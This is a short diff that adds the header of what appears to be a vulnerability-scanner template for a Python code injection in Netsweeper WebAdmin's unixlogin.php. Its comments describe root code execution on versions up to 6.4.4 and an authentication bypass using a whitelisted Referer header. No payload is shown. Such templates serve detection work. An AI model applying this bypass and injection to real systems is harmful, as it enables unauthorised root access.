+info:
+  name: Netsweeper WebAdmin unixlogin.php Python Code Injection
+  author: dwisiswant0
+  severity: critical
+
+  # This template exploits a Python code injection in the Netsweeper
+  # WebAdmin component's unixlogin.php script, for versions 6.4.4 and
+  # prior, to execute code as the root user.
+  # 
+  # Authentication is bypassed by sending a random whitelisted Referer
+  # header in each request.
+  # 
+  # Tested on the CentOS Linux-based Netsweeper 6.4.3 and 6.4.4 ISOs.
+  # Though the advisory lists 6.4.3 and prior as vulnerable, 6.4.4 has
+  # been confirmed exploitable.
